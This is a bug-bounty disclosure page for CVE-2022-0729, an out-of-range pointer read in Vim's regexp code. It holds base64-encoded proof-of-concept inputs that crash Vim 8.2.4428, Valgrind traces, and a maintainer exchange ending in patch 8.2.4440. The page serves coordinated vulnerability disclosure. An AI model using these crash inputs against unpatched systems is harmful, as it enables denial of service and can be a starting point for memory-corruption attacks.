huntr

Use of Out-of-range Pointer Offset in vim/vim

0

✓ Valid   Reported on Feb 21st 2022

Description

This issue occur in the v8.2.4428 version.

Proof of Concept

```
$ echo "dnMgIDPKKSAwMGNtZGxicmVh4OvbmfsA3ykA3/8wAMQAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAODr3/f/fwAAAAAAAAAAPZRIwAAAAAAa3N5bWxpbmsgCmJcJlx6cypcenMqQGU=" | bas
$ ~/valgrind/vg-in-place -s ./src/vim -u NONE -i NONE -n -X -Z -e -m -s -S
==3464770== Memcheck, a memory error detector
==3464770== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==3464770== Using Valgrind-3.19.0.GIT and LibVEX; rerun with -h for copyrig
==3464770==

==3464770== Invalid read of size 1
==3464770==    at 0x24838F: utf_head_off (mbyte.c:3866)
==3464770==    by 0x2CDBD6: regmatch (regexp_bt.c:4628)
==3464770==    by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770==    by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770==    by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770==    by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770==    by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770==    by 0x14D070: fname_match (buffer.c:2901)
==3464770==    by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770==    by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770==    by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770==    by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770==  Address 0x51360bf is 1 bytes before a block of size 73 alloc'c
==3464770==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770==    by 0x13F450: lalloc (alloc.c:248)
==3464770==    by 0x13F2EF: alloc (alloc.c:151)
```

```
==3464770==    by 0x33F5F1: vim_strsave (strings.c:27)
==3464770==    by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770==    by 0x1532A1: fix_fname (buffer.c:5162)
==3464770==    by 0x1532F0: fname_expand (buffer.c:5205)
==3464770==    by 0x14B167: buflist_new (buffer.c:2005)
==3464770==    by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770==    by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770==    by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770==    by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770==    at 0x246A0D: utf_ptr2char (mbyte.c:1788)
==3464770==    by 0x2CA9B8: regmatch (regexp_bt.c:3317)
==3464770==    by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770==    by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770==    by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770==    by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770==    by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770==    by 0x14D070: fname_match (buffer.c:2901)
==3464770==    by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770==    by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770==    by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770==    by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770==  Address 0x51360bf is 1 bytes before a block of size 73 alloc'
==3464770==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770==    by 0x13F450: lalloc (alloc.c:248)
==3464770==    by 0x13F2EF: alloc (alloc.c:151)
==3464770==    by 0x33F5F1: vim_strsave (strings.c:27)
==3464770==    by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770==    by 0x1532A1: fix_fname (buffer.c:5162)
==3464770==    by 0x1532F0: fname_expand (buffer.c:5205)
==3464770==    by 0x14B167: buflist_new (buffer.c:2005)
==3464770==    by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770==    by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770==    by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770==    by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770==    at 0x246A18: utf_ptr2char (mbyte.c:1789)
==3464770==    by 0x2CA9B8: regmatch (regexp_bt.c:3317)
==3464770==    by 0x2CDE36: regtry (regexp_bt.c:4717)
```

```
==3464770==    by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770==    by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770==    by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)

==3464770==    by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770==    by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770==    by 0x14D070: fname_match (buffer.c:2901)
==3464770==    by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770==    by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770==    by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770==    by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770==  Address 0x51360bf is 1 bytes before a block of size 73 alloc'
==3464770==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770==    by 0x13F450: lalloc (alloc.c:248)
==3464770==    by 0x13F2EF: alloc (alloc.c:151)
==3464770==    by 0x33F5F1: vim_strsave (strings.c:27)
==3464770==    by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770==    by 0x1532A1: fix_fname (buffer.c:5162)
==3464770==    by 0x1532F0: fname_expand (buffer.c:5205)
==3464770==    by 0x14B167: buflist_new (buffer.c:2005)
==3464770==    by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770==    by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770==    by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770==    by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770==    at 0x2C9884: regrepeat (regexp_bt.c:2740)
==3464770==    by 0x2CCC78: regmatch (regexp_bt.c:4175)
==3464770==    by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770==    by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770==    by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770==    by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770==    by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770==    by 0x14D070: fname_match (buffer.c:2901)
==3464770==    by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770==    by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770==    by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770==    by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770==  Address 0x51360bf is 1 bytes before a block of
==3464770==    at 0x483C855: malloc (vg_replace_malloc.c:38
==3464770==    by 0x13F450: lalloc (alloc.c:248)
==3464770==    by 0x13F2EF: alloc (alloc.c:151)
```

```
==3464770==    by 0x13F2EF: alloc (alloc.c:151)
==3464770==    by 0x33F5F1: vim_strsave (strings.c:27)
==3464770==    by 0x1F8C06: FullName_save (filepath.c:3043)

==3464770==    by 0x1532A1: fix_fname (buffer.c:5162)
==3464770==    by 0x1532F0: fname_expand (buffer.c:5205)
==3464770==    by 0x14B167: buflist_new (buffer.c:2005)
==3464770==    by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770==    by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770==    by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770==    by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770==    at 0x2CDC72: regmatch (regexp_bt.c:4648)
==3464770==    by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770==    by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770==    by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770==    by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770==    by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770==    by 0x14D070: fname_match (buffer.c:2901)
==3464770==    by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770==    by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770==    by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770==    by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770==    by 0x303977: do_source (scriptfile.c:1516)
==3464770==  Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770==    by 0x13F450: lalloc (alloc.c:248)
==3464770==    by 0x13F2EF: alloc (alloc.c:151)
==3464770==    by 0x33F5F1: vim_strsave (strings.c:27)
==3464770==    by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770==    by 0x1532A1: fix_fname (buffer.c:5162)
==3464770==    by 0x1532F0: fname_expand (buffer.c:5205)
==3464770==    by 0x14B167: buflist_new (buffer.c:2005)
==3464770==    by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770==    by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770==    by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770==    by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770==    at 0x2CDC89: regmatch (regexp_bt.c:4649)
==3464770==    by 0x2CDE36: regtry (regexp_bt.c:4717)
```

```
==3464770==    by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770==    by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770==    by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)

==3464770==    by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770==    by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770==    by 0x14D070: fname_match (buffer.c:2901)
==3464770==    by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770==    by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770==    by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770==    by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770==    by 0x303977: do_source (scriptfile.c:1516)
==3464770==  Address 0x51360bf is 1 bytes before a block of size 73 alloc'
==3464770==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770==    by 0x13F450: lalloc (alloc.c:248)
==3464770==    by 0x13F2EF: alloc (alloc.c:151)
==3464770==    by 0x33F5F1: vim_strsave (strings.c:27)
==3464770==    by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770==    by 0x1532A1: fix_fname (buffer.c:5162)
==3464770==    by 0x1532F0: fname_expand (buffer.c:5205)
==3464770==    by 0x14B167: buflist_new (buffer.c:2005)
==3464770==    by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770==    by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770==    by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770==    by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770==    at 0x2CE708: bt_regexec_both (regexp_bt.c:4960)
==3464770==    by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770==    by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770==    by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770==    by 0x14D070: fname_match (buffer.c:2901)
==3464770==    by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770==    by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770==    by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770==    by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770==    by 0x303977: do_source (scriptfile.c:1516)
==3464770==    by 0x302DAD: cmd_source (scriptfile.c:1098)
==3464770==    by 0x302DF2: ex_source (scriptfile.c:1124)
==3464770==  Address 0x0 is not stack'd, malloc'd or (recen
==3464770==
==3464770==
==3464770==
==3464770== Process terminating with default action of signal 11 (SIGSEGV):
==3464770==    at 0x4E2855B: kill (syscall-template.S:78)

==3464770==    by 0x29B657: may_core_dump (os_unix.c:3508)
==3464770==    by 0x29B60B: mch_exit (os_unix.c:3474)
==3464770==    by 0x418097: getout (main.c:1719)
==3464770==    by 0x25DA19: preserve_exit (misc1.c:2194)
==3464770==    by 0x298E52: deathtrap (os_unix.c:1154)
==3464770==    by 0x4E2820F: ??? (in /usr/lib/x86_64-linux-gnu/libc-2.31.sc
==3464770==    by 0x2CE707: bt_regexec_both (regexp_bt.c:4960)
==3464770==    by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770==    by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770==    by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770==    by 0x14D070: fname_match (buffer.c:2901)
==3464770==
==3464770== HEAP SUMMARY:
==3464770==     in use at exit: 145,623 bytes in 572 blocks
==3464770==   total heap usage: 1,218 allocs, 646 frees, 8,385,845 bytes al
==3464770==
==3464770== LEAK SUMMARY:
==3464770==    definitely lost: 2,521 bytes in 3 blocks
==3464770==    indirectly lost: 0 bytes in 0 blocks
==3464770==      possibly lost: 0 bytes in 0 blocks
==3464770==    still reachable: 143,102 bytes in 569 blocks
==3464770==         suppressed: 0 bytes in 0 blocks
==3464770== Rerun with --leak-check=full to see details of leaked memory
==3464770==
==3464770== ERROR SUMMARY: 9 errors from 7 contexts (suppressed: 0 from 0)
==3464770==
==3464770== 1 errors in context 1 of 7:
==3464770== Invalid read of size 1
==3464770==    at 0x2CE708: bt_regexec_both (regexp_bt.c:4960)
==3464770==    by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770==    by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770==    by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770==    by 0x14D070: fname_match (buffer.c:2901)
==3464770==    by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770==    by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770==    by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770==    by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770==    by 0x2D3977: do_source (scriptfile.c:1516)
```

```
==3464770==    by 0x303977: do_source (scriptfile.c:1516)
==3464770==    by 0x302DAD: cmd_source (scriptfile.c:1098)
==3464770==    by 0x302DF2: ex_source (scriptfile.c:1124)

==3464770==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
==3464770==
==3464770==
==3464770== 1 errors in context 2 of 7:
==3464770== Invalid read of size 1
==3464770==    at 0x2CDC89: regmatch (regexp_bt.c:4649)
==3464770==    by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770==    by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770==    by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770==    by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770==    by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770==    by 0x14D070: fname_match (buffer.c:2901)
==3464770==    by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770==    by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770==    by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770==    by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770==    by 0x303977: do_source (scriptfile.c:1516)
==3464770==  Address 0x51360bf is 1 bytes before a block of size 73 alloc'
==3464770==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770==    by 0x13F450: lalloc (alloc.c:248)
==3464770==    by 0x13F2EF: alloc (alloc.c:151)
==3464770==    by 0x33F5F1: vim_strsave (strings.c:27)
==3464770==    by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770==    by 0x1532A1: fix_fname (buffer.c:5162)
==3464770==    by 0x1532F0: fname_expand (buffer.c:5205)
==3464770==    by 0x14B167: buflist_new (buffer.c:2005)
==3464770==    by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770==    by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770==    by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770==    by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 1 errors in context 3 of 7:
==3464770== Invalid read of size 1
==3464770==    at 0x2CDC72: regmatch (regexp_bt.c:4648)
==3464770==    by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770==    by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770==    by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
```

```
==3464770==    by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770==    by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770==    by 0x2F0577: vim_regexec (regexp.c:2814)

==3464770==    by 0x14D070: fname_match (buffer.c:2901)
==3464770==    by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770==    by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770==    by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770==    by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770==    by 0x303977: do_source (scriptfile.c:1516)
==3464770==  Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770==    by 0x13F450: lalloc (alloc.c:248)
==3464770==    by 0x13F2EF: alloc (alloc.c:151)
==3464770==    by 0x33F5F1: vim_strsave (strings.c:27)
==3464770==    by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770==    by 0x1532A1: fix_fname (buffer.c:5162)
==3464770==    by 0x1532F0: fname_expand (buffer.c:5205)
==3464770==    by 0x14B167: buflist_new (buffer.c:2005)
==3464770==    by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770==    by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770==    by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770==    by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 1 errors in context 4 of 7:
==3464770== Invalid read of size 1
==3464770==    at 0x2C9884: regrepeat (regexp_bt.c:2740)
==3464770==    by 0x2CCC78: regmatch (regexp_bt.c:4175)
==3464770==    by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770==    by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770==    by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770==    by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770==    by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770==    by 0x14D070: fname_match (buffer.c:2901)
==3464770==    by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770==    by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770==    by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770==    by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770==  Address 0x51360bf is 1 bytes before a block of
==3464770==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770==    by 0x13F450: lalloc (alloc.c:248)
```

```
==3464770==    by 0x13F450: lalloc (alloc.c:248)
==3464770==    by 0x13F2EF: alloc (alloc.c:151)
==3464770==    by 0x33F5F1: vim_strsave (strings.c:27)

==3464770==    by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770==    by 0x1532A1: fix_fname (buffer.c:5162)
==3464770==    by 0x1532F0: fname_expand (buffer.c:5205)
==3464770==    by 0x14B167: buflist_new (buffer.c:2005)
==3464770==    by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770==    by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770==    by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770==    by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 1 errors in context 5 of 7:
==3464770== Invalid read of size 1
==3464770==    at 0x24838F: utf_head_off (mbyte.c:3866)
==3464770==    by 0x2CDBD6: regmatch (regexp_bt.c:4628)
==3464770==    by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770==    by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770==    by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770==    by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770==    by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770==    by 0x14D070: fname_match (buffer.c:2901)
==3464770==    by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770==    by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770==    by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770==    by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770==  Address 0x51360bf is 1 bytes before a block of size 73 alloc'
==3464770==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770==    by 0x13F450: lalloc (alloc.c:248)
==3464770==    by 0x13F2EF: alloc (alloc.c:151)
==3464770==    by 0x33F5F1: vim_strsave (strings.c:27)
==3464770==    by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770==    by 0x1532A1: fix_fname (buffer.c:5162)
==3464770==    by 0x1532F0: fname_expand (buffer.c:5205)
==3464770==    by 0x14B167: buflist_new (buffer.c:2005)
==3464770==    by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770==    by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770==    by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770==    by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770==
==3464770== 2 errors in context 6 of 7:

==3464770== Invalid read of size 1
==3464770==    at 0x246A18: utf_ptr2char (mbyte.c:1789)
==3464770==    by 0x2CA9B8: regmatch (regexp_bt.c:3317)
==3464770==    by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770==    by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770==    by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770==    by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770==    by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770==    by 0x14D070: fname_match (buffer.c:2901)
==3464770==    by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770==    by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770==    by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770==    by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770==  Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770==    by 0x13F450: lalloc (alloc.c:248)
==3464770==    by 0x13F2EF: alloc (alloc.c:151)
==3464770==    by 0x33F5F1: vim_strsave (strings.c:27)
==3464770==    by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770==    by 0x1532A1: fix_fname (buffer.c:5162)
==3464770==    by 0x1532F0: fname_expand (buffer.c:5205)
==3464770==    by 0x14B167: buflist_new (buffer.c:2005)
==3464770==    by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770==    by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770==    by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770==    by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 2 errors in context 7 of 7:
==3464770== Invalid read of size 1
==3464770==    at 0x246A0D: utf_ptr2char (mbyte.c:1788)
==3464770==    by 0x2CA9B8: regmatch (regexp_bt.c:3317)
==3464770==    by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770==    by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770==    by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770==    by 0x2F035C: vim_regexec_string (regexp.c:27
==3464770==    by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770==    by 0x14D070: fname_match (buffer.c:2901)
```

```
==3464770==    by 0x14D070: fname_match (buffer.c:2901)
==3464770==    by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770==    by 0x14C822: buflist_findpat (buffer.c:2663)

==3464770==    by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770==    by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770==  Address 0x51360bf is 1 bytes before a block of size 73 alloc'
==3464770==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770==    by 0x13F450: lalloc (alloc.c:248)
==3464770==    by 0x13F2EF: alloc (alloc.c:151)
==3464770==    by 0x33F5F1: vim_strsave (strings.c:27)
==3464770==    by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770==    by 0x1532A1: fix_fname (buffer.c:5162)
==3464770==    by 0x1532F0: fname_expand (buffer.c:5205)
==3464770==    by 0x14B167: buflist_new (buffer.c:2005)
==3464770==    by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770==    by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770==    by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770==    by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== ERROR SUMMARY: 9 errors from 7 contexts (suppressed: 0 from 0)
Segmentation fault
```

CVE
CVE-2022-0729
(Published)

Vulnerability Type
CWE-823: Use of Out-of-range Pointer Offset

Severity
High (7.8)

Visibility
Public

Status
Fixed

Found by
Pocas

@p0cas

amateur

Fixed by

Bram Moolenaar

@brammool

maintainer

This report was seen 1,127 times.

We are processing your report and will contact the **vim** team within 24 hours. 9 months ago

Pocas modified the report 9 months ago

Pocas modified the report 9 months ago

Bram Moolenaar 9 months ago Maintainer

Hmm, I can reproduce the crash, but the POC is too complicated to use for a test case.
Have you tried minimizing the POC?

Pocas 9 months ago Researcher

Yes. This PoC is minimized.

Bram Moolenaar 9 months ago Maintainer

I tried deleting some characters from the POC and the same problem is reproduced. Thus the POC is not minimized. Please try harder.

Pocas 9 months ago Researcher

All right. I'll miniaturize it and send it to you by tomorrow.

Chat with us

Pocas 9 months ago Researcher

@maintainer thank you for waiting. i reduced.

```
echo "dnPr25kKYlwmXHpzKlx6cyow" | base64 -d > poc
```

We have contacted a member of the **vim** team and are waiting to hear back 9 months ago

Bram Moolenaar 9 months ago Maintainer

Thanks, that is much better.

Bram Moolenaar validated this vulnerability 9 months ago

Pocas has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Bram Moolenaar 9 months ago Maintainer

Fixed with patch 8.2.4440
Worth half a dollar! :-)

Bram Moolenaar marked this as fixed in **8.2** with commit **6456fa** 9 months ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Pocas 9 months ago Researcher

Thanks

Sign in to join this conversation

Chat with us

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us